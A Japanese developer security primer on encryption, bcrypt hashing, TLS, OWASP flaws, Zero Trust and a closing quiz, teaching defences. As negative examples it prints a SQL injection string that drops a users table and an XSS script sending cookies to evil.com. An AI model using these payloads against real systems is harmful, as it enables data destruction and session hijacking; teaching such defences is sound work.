- Authors
- Name

はじめに
「セキュリティはセキュリティチームの仕事では?」— いいえ。コードを書くすべての開発者がセキュリティの最前線です。
SQL Injection一つで数百万件の個人情報が漏洩し、XSS一つでユーザーセッションが乗っ取られます。この記事では、開発者が必ず知っておくべきセキュリティ概念を総まとめします。
Part 1: 暗号化(Cryptography)
共通鍵暗号化(AES)
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os
# === Fernet(シンプルな共通鍵)===
key = Fernet.generate_key()
f = Fernet(key)
plaintext = b"Hello, Security!"
ciphertext = f.encrypt(plaintext)
decrypted = f.decrypt(ciphertext)
assert decrypted == plaintext # ✅
# === AES-256-GCM(本番標準)===
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)
nonce = os.urandom(12) # 96ビットnonce(毎回新しく!)
# 暗号化 + 認証(AEAD: Authenticated Encryption with Associated Data)
ct = aesgcm.encrypt(nonce, b"sensitive data", b"metadata")
pt = aesgcm.decrypt(nonce, ct, b"metadata") # 復号 + 完全性検証
共通鍵: 同じ鍵で暗号化/復号
メリット: 高速(AES-256: 約1 GB/s)
デメリット: 鍵配送問題(どうやって安全に鍵を共有するか?)
用途: データ暗号化、ディスク暗号化、TLSデータ転送
公開鍵暗号化(RSA、ECDSA)
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
# 鍵ペア生成
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)
public_key = private_key.public_key()
# 暗号化(公開鍵で)
message = b"Secret message"
ciphertext = public_key.encrypt(
message,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
# 復号(秘密鍵で)
plaintext = private_key.decrypt(ciphertext, padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
))
assert plaintext == message # ✅
公開鍵暗号: 公開鍵(暗号化)+ 秘密鍵(復号)
メリット: 鍵交換問題を解決(公開鍵は公開してOK)
デメリット: 遅い(RSA: 約1 KB/s、AESの1000倍遅い)
用途: TLS鍵交換、電子署名、SSH認証
ハッシング(Hashing)— パスワード保存
import hashlib
import bcrypt
# 絶対にやってはいけないこと: 平文保存
password = "mypassword123"
# NG: 単純ハッシュ(レインボーテーブル攻撃に脆弱)
md5_hash = hashlib.md5(password.encode()).hexdigest()
sha256_hash = hashlib.sha256(password.encode()).hexdigest()
# OK: bcrypt(ソルト + 遅いハッシング = 安全!)
salt = bcrypt.gensalt(rounds=12) # ソルト生成(2^12回反復)
hashed = bcrypt.hashpw(password.encode(), salt)
# 検証
is_valid = bcrypt.checkpw(password.encode(), hashed)
print(f"パスワード一致: {is_valid}") # True
# bcryptが安全な理由:
# 1. ソルト: 同じパスワードでも異なるハッシュ → レインボーテーブル無効化
# 2. 遅い: 意図的に遅くしてブルートフォース防御(GPU攻撃防御)
# 3. rounds調整: ハードウェアの進化に合わせて難易度を上げられる
TLSハンドシェイク(HTTPS)
[Client] [Server]
│ │
│── ClientHello ────────────────▶│ 対応暗号スイート一覧
│ │
│◀── ServerHello + 証明書 ───────│ 選択された暗号 + サーバー証明書
│ │
│ サーバー証明書検証(CA チェーン) │
│ │
│── Key Exchange ───────────────▶│ ECDHE公開値
│◀── Key Exchange ───────────────│ サーバーECDHE公開値
│ │
╔════════════════════════════════╗
║ 両者が同じ共通鍵を導出! ║
║ (Diffie-Hellman) ║
╚════════════════════════════════╝
│ │
│◄══ AES-256-GCM 暗号化通信 ══▶│
Part 2: Webセキュリティ(OWASP Top 10)
SQL Injection
# NG: 危険なコード
username = "admin'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE username = '{username}'"
# → SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# → テーブル削除!
# OK: パラメータバインディング(Prepared Statement)
cursor.execute(
"SELECT * FROM users WHERE username = %s",
(username,) # 入力をデータとしてのみ扱い、SQLとして解釈しない
)
# OK: ORM使用(SQLAlchemy、Django ORM)
user = User.query.filter_by(username=username).first()
XSS(Cross-Site Scripting)
# NG: 危険なコード(ユーザー入力をそのまま出力)
comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'
# HTMLにそのまま挿入すると:
html = f"<div>{comment}</div>"
# → Cookie窃取!
# OK: HTMLエスケープ
from markupsafe import escape
safe_html = f"<div>{escape(comment)}</div>"
# → <script>...(実行されない)
# OK: CSP(Content Security Policy)ヘッダー
# Content-Security-Policy: script-src 'self'; object-src 'none';
CSRF(Cross-Site Request Forgery)
# 攻撃: ユーザーがログイン状態で悪意あるサイトを訪問
# 悪意あるサイトに隠されたフォームが自動的に銀行振込リクエストを送信!
# OK: CSRFトークン防御
from flask import Flask, session
import secrets
app = Flask(__name__)
@app.route('/transfer', methods=['POST'])
def transfer():
# トークン検証
if request.form['csrf_token'] != session['csrf_token']:
abort(403) # CSRF攻撃をブロック!
# 正常処理
process_transfer(request.form)
# OK: SameSite Cookie
# Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly
認証/認可の脆弱性
# NG: IDOR(Insecure Direct Object Reference)
@app.route('/api/users/<user_id>/profile')
def get_profile(user_id):
return User.query.get(user_id).to_dict()
# user_idを変更すると他人の情報が閲覧可能!
# OK: 権限チェック追加
@app.route('/api/users/<user_id>/profile')
@login_required
def get_profile(user_id):
if current_user.id != int(user_id) and not current_user.is_admin:
abort(403) # 権限なし!
return User.query.get(user_id).to_dict()
Part 3: Zero Trustアーキテクチャ
従来のセキュリティ: 「城壁の中は安全」(Castle & Moat)
[インターネット] ──[ファイアウォール]── [内部ネットワーク: 全員信頼]
→ 内部侵入時に無防備!
Zero Trust: 「誰も信頼しない」
[すべてのリクエスト] → [認証] → [認可] → [暗号化] → [モニタリング]
→ 内部でも外部でも毎回検証!
Zero Trustの原則
1. Verify Explicitly(明示的検証)
→ すべてのリクエストに認証 + 認可(場所/ネットワーク不問)
2. Least Privilege(最小権限)
→ 必要なものだけ、必要な時間だけアクセス許可
→ JIT(Just-In-Time)権限付与
3. Assume Breach(侵害前提)
→ すでに侵害されていると仮定して設計
→ マイクロセグメンテーション、暗号化、モニタリング
# Kubernetes Zero Trust: NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: api-policy
spec:
podSelector:
matchLabels:
app: api-server
policyTypes:
- Ingress
- Egress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend # フロントエンドからのみアクセス許可
ports:
- port: 8080
egress:
- to:
- podSelector:
matchLabels:
app: database # DBへのアクセスのみ許可
ports:
- port: 5432
# その他すべてのトラフィック: ブロック!
セキュリティチェックリスト
[認証/認可]
- bcrypt/Argon2でパスワードハッシング(SHA256単独使用禁止)
- JWT署名検証 + 有効期限設定
- OAuth 2.0 PKCE(SPA/モバイル)
- MFA(多要素認証)導入
- Rate Limiting(ブルートフォース防御)
[入力検証]
- SQL Injection: Prepared Statement / ORM
- XSS: HTMLエスケープ + CSPヘッダー
- CSRF: SameSite Cookie + CSRFトークン
- Path Traversal: ファイル名検証
- SSRF: 内部IPブロック
[通信/保存]
- HTTPS必須(TLS 1.3)
- HSTSヘッダー
- 機密データ暗号化(AES-256-GCM)
- シークレット管理: Vault / AWS Secrets Manager
- ログにパスワード/トークンを絶対に記録しない
[インフラ]
- Zero Trustネットワーク
- コンテナイメージスキャン(Trivy)
- 依存関係の脆弱性スキャン(Dependabot)
- WAF(Web Application Firewall)
- 侵入検知/モニタリング
クイズ — セキュリティ(クリックして確認!)
Q1. 共通鍵暗号と公開鍵暗号の違いとそれぞれの用途は? ||共通鍵: 同じ鍵で暗号化/復号、高速(AES)— データ転送/保存の暗号化。公開鍵: 公開鍵/秘密鍵のペア、低速(RSA)— 鍵交換、電子署名||
Q2. bcryptがSHA-256よりパスワード保存に安全な理由は? ||1) ソルトでレインボーテーブルを無効化 2) 意図的に遅いハッシングでブルートフォース防御 3) rounds調整で将来のハードウェア進化に対応||
Q3. SQL Injectionの根本原因と防御法は? ||根本原因: ユーザー入力がSQLクエリの一部として解釈される。防御: Prepared Statement(パラメータバインディング)で入力をデータとしてのみ扱う||
Q4. XSSとCSRFの違いは? ||XSS: 攻撃者のスクリプトが被害者のブラウザで実行される。CSRF: 被害者の認証済みセッションで攻撃者が望むリクエストを送信。XSSはクライアントを、CSRFはサーバーを騙す攻撃||
Q5. TLSハンドシェイクで共通鍵と公開鍵がそれぞれ使われる段階は? ||公開鍵: ハンドシェイク段階での鍵交換(ECDHE)。共通鍵(AES): データ転送段階。公開鍵で安全に共通鍵を合意した後、高速な共通鍵で実際の通信||
Q6. Zero Trustの3原則は? ||1) Verify Explicitly: すべてのリクエストを明示的に認証/認可 2) Least Privilege: 最小限の権限のみ付与 3) Assume Breach: すでに侵害されていると仮定して設計||
Q7. HSTSヘッダーの役割は? ||ブラウザに対して該当ドメインはHTTPSでのみアクセスするよう指示。HTTPからHTTPSへのリダイレクト中に発生しうる中間者攻撃を防止||